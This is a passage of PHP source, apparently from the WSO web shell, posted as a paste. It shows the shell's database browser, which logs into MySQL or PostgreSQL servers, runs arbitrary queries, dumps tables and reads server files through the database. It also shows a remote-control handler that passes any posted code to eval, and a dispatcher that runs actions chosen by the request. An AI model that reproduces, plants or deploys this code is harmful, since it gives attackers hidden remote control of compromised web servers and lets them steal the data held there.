  1218.             case "KOI8-U": $db->setCharset('koi8u'); break;
  1219.             case "cp866": $db->setCharset('cp866'); break;
  1220.         }
  1221.         if(empty($_POST['file'])) {
  1222.             ob_start("ob_gzhandler", 4096);
  1223.             header("Content-Disposition: attachment; filename=dump.sql");
  1224.             header("Content-Type: text/plain");
  1225.             foreach($_POST['tbl'] as $v)
  1226.                 $db->dump($v);
  1227.             exit;
  1228.         } elseif($fp = @fopen($_POST['file'], 'w')) {
  1229.             foreach($_POST['tbl'] as $v)
  1230.                 $db->dump($v, $fp);
  1231.             fclose($fp);
  1232.             unset($_POST['p2']);
  1233.         } else
  1234.             die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1235.     }
  1236.     wsoHeader();
  1237.     echo "
  1238.  
  1239. <h1>Sql browser</h1><div class=content>
  1240. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1241. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1242. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1243. <td><select name='type'><option value='mysql' ";
  1244.     if(@$_POST['type']=='mysql')echo 'selected';
  1245. echo ">MySql</option><option value='pgsql' ";
  1246. if(@$_POST['type']=='pgsql')echo 'selected';
  1247. echo ">PostgreSql</option></select></td>
  1248. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1249. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1250. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1251.     $tmp = "<input type=text name=sql_base value=''>";
  1252.     if(isset($_POST['sql_host'])){
  1253.         if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1254.             switch($_POST['charset']) {
  1255.                 case "Windows-1251": $db->setCharset('cp1251'); break;
  1256.                 case "UTF-8": $db->setCharset('utf8'); break;
  1257.                 case "KOI8-R": $db->setCharset('koi8r'); break;
  1258.                 case "KOI8-U": $db->setCharset('koi8u'); break;
  1259.                 case "cp866": $db->setCharset('cp866'); break;
  1260.             }
  1261.             $db->listDbs();
  1262.             echo "<select name=sql_base><option value=''></option>";
  1263.             while($item = $db->fetch()) {
  1264.                 list($key, $value) = each($item);
  1265.                 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1266.             }
  1267.             echo '</select>';
  1268.         }
  1269.         else echo $tmp;
  1270.     }else
  1271.         echo $tmp;
  1272.     echo "</td>
  1273.  
  1274.                 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1275.                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1276.             </tr>
  1277.         </table>
  1278.         <script>
  1279.            s_db='".@addslashes($_POST['sql_base'])."';
  1280.            function fs(f) {
  1281.                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1282.                    if(f.p1) f.p1.value='';
  1283.                    if(f.p2) f.p2.value='';
  1284.                    if(f.p3) f.p3.value='';
  1285.                }
  1286.            }
  1287.             function st(t,l) {
  1288.                 d.sf.p1.value = 'select';
  1289.                 d.sf.p2.value = t;
  1290.                if(l && d.sf.p3) d.sf.p3.value = l;
  1291.                 d.sf.submit();
  1292.             }
  1293.             function is() {
  1294.                 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1295.                     d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1296.             }
  1297.         </script>";
  1298.     if(isset($db) && $db->link){
  1299.         echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1300.             if(!empty($_POST['sql_base'])){
  1301.                 $db->selectdb($_POST['sql_base']);
  1302.                 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1303.                 $tbls_res = $db->listTables();
  1304.                 while($item = $db->fetch($tbls_res)) {
  1305.                     list($key, $value) = each($item);
  1306.                     if(!empty($_POST['sql_count']))
  1307.                         $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1308.                     $value = htmlspecialchars($value);
  1309.                     echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1310.                 }
  1311.                 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1312.                 if(@$_POST['p1'] == 'select') {
  1313.                     $_POST['p1'] = 'query';
  1314.                     $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1315.                     $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1316.                     $num = $db->fetch();
  1317.                     $pages = ceil($num['n'] / 30);
  1318.                     echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1319.                     echo " of $pages";
  1320.                     if($_POST['p3'] > 1)
  1321.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1322.                     if($_POST['p3'] < $pages)
  1323.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1324.                     $_POST['p3']--;
  1325.                     if($_POST['type']=='pgsql')
  1326.                         $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1327.                     else
  1328.                         $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1329.                     echo "<br><br>";
  1330.                 }
  1331.                 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1332.                     $db->query(@$_POST['p2']);
  1333.                     if($db->res !== false) {
  1334.                         $title = false;
  1335.                         echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1336.                         $line = 1;
  1337.                         while($item = $db->fetch()) {
  1338.                             if(!$title) {
  1339.                                 echo '<tr>';
  1340.                                 foreach($item as $key => $value)
  1341.                                     echo '<th>'.$key.'</th>';
  1342.                                 reset($item);
  1343.                                 $title=true;
  1344.                                 echo '</tr><tr>';
  1345.                                 $line = 2;
  1346.                             }
  1347.                             echo '<tr class="l'.$line.'">';
  1348.                             $line = $line==1?2:1;
  1349.                             foreach($item as $key => $value) {
  1350.                                 if($value == null)
  1351.                                     echo '<td><i>null</i></td>';
  1352.                                 else
  1353.                                     echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1354.                             }
  1355.                             echo '</tr>';
  1356.                         }
  1357.                         echo '</table>';
  1358.                     } else {
  1359.                         echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1360.                     }
  1361.                 }
  1362.                 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1363.                 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1364.                     echo htmlspecialchars($_POST['p2']);
  1365.                 echo "</textarea><br/><input type=submit value='Execute'>";
  1366.                 echo "</td></tr>";
  1367.             }
  1368.             echo "</table></form><br/>";
  1369.             if($_POST['type']=='mysql') {
  1370.                 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1371.                 if($db->fetch())
  1372.                     echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1373.             }
  1374.             if(@$_POST['p1'] == 'loadfile') {
  1375.                 $file = $db->loadFile($_POST['p2']);
  1376.                 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1377.             }
  1378.     } else {
  1379.         echo htmlspecialchars($db->error());
  1380.     }
  1381.     echo '</div>';
  1382.     wsoFooter();}
  1383. function actionRC() {
  1384.     if(!@$_POST['p1']) {
  1385.         $a = array(
  1386.             "uname" => php_uname(),
  1387.             "php_version" => phpversion(),
  1388.             "wso_version" => WSO_VERSION,
  1389.             "safemode" => @ini_get('safe_mode')
  1390.         );
  1391.         echo serialize($a);
  1392.     } else {
  1393.         eval($_POST['p1']);
  1394.     }
  1395. }
  1396. if( empty($_POST['a']) )
  1397.     if(isset($default_action) && function_exists('action' . $default_action))
  1398.         $_POST['a'] = $default_action;
  1399.     else
  1400.         $_POST['a'] = 'SecInfo';
  1401. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1402.     call_user_func('action' . $_POST['a']);
  1403. function FetchURL($url) {
  1404.          $ch = curl_init();
  1405.          curl_setopt($ch, CURLOPT_USERAGENT, "$cheader");
  1406.          curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1407.          curl_setopt($ch, CURLOPT_HEADER, false);
  1408.          curl_setopt($ch, CURLOPT_URL, $url);
  1409.          curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1410.          curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  1411.          $data = curl_exec($ch);
  1412.          if(!$data) {
  1413.             return false;
  1414.          }
  1415.          return $data;
  1416.       }
  1417. exit;
Add Comment
Please, Sign In to add comment